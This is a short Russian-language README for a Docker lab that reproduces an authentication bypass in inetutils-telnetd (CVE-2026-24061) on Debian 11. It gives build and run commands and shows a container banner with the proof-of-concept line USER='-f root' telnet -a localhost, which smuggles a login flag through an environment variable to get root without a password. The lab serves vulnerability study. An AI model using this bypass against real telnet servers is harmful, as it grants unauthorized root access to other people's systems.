Лаборатория обхода аутентификации inetutils-telnetd, CVE-2026-24061

Небольшая лаборатория для экспериментов с обходом аутентификации в inetutils-telnetd 1.9.3 - 2.7, как описано в списке рассылки oss-sec. [0]

Этот контейнер опирается на тот факт, что inetutils-telnetd всё ещё является уязвимой версией в Debian 11 (Bullseye). На момент создания это было:

root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
  telnet server

сборка

Клонируйте и соберите контейнер с помощью docker build -t telnetd-exploit ..

запуск

Запустите контейнер с помощью docker run --rm -it telnetd-exploit. Сообщение покажет вам PoC.

docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$

inetutils-telnetd-auth-bypass

Популярное